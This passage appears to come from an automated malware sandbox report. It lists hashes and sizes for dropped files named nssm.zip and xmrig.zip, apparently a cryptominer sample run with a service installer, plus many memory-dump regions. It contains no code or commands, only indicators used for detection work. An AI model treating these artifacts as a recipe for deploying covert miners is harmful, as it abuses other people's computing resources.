                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.0MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            92a903195a53208ba40d4151687437e4

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            abc4b50fc7ec5a23a2c780ba642848505a6f58f6

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            c07715d90597ae00443f9f1e31715c47742452566b3688dc83a3d0fe1ee3161f

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            d97c43e783db37c5ff8e9fa2db4924fdc8d1f1708dfb772ee98c0bf8451a4a735a63d5eb91b93f44b01d95be33e1a434a4f74e5bda7d18818e179cd93b7d53f8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\nssm.zip

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            135KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            7ad31e7d91cc3e805dbc8f0615f713c1

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9f3801749a0a68ca733f5250a994dea23271d5c3

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            5b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\xmrig.zip

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.4MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            25580cd25ab23d61aad83d88d5e86955

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            b890fbf4a0bd82a34d1cec3aa9b59ce2136ddf84

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3ded92ff46846539876738fe251eeef0c1c54184a64925bd5070255008e93f4a

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            069042d43de0ea32f6baaca33785fc9348f189ac7e60ff6bda6189eb78f51bea930927a931627c2f38d31e8925e03d42f59c5496e6cbec40c19366c794c34f3a

                                                                                                                                                                                                                                                                                                          • memory/1768-66-0x00000000000E0000-0x0000000000100000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            128KB

                                                                                                                                                                                                                                                                                                          • memory/1768-67-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-205-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-207-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-213-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-212-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-211-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-210-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-209-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-208-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-202-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-203-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-204-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-206-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2688-41-0x000002D05EDD0000-0x000002D05EDE2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            72KB

                                                                                                                                                                                                                                                                                                          • memory/2688-40-0x000002D044750000-0x000002D04475A000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            40KB

                                                                                                                                                                                                                                                                                                          • memory/4672-12-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB

                                                                                                                                                                                                                                                                                                          • memory/4672-201-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB

                                                                                                                                                                                                                                                                                                          • memory/4672-7-0x00000182FF480000-0x00000182FF4A2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                                                                                          • memory/4672-0-0x00007FFCA3103000-0x00007FFCA3105000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                          • memory/4672-13-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB

                                                                                                                                                                                                                                                                                                          • memory/4672-11-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB

                                                                                                                                                                                                                                                                                                          We care about your privacy.

                                                                                                                                                                                                                                                                                                          This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.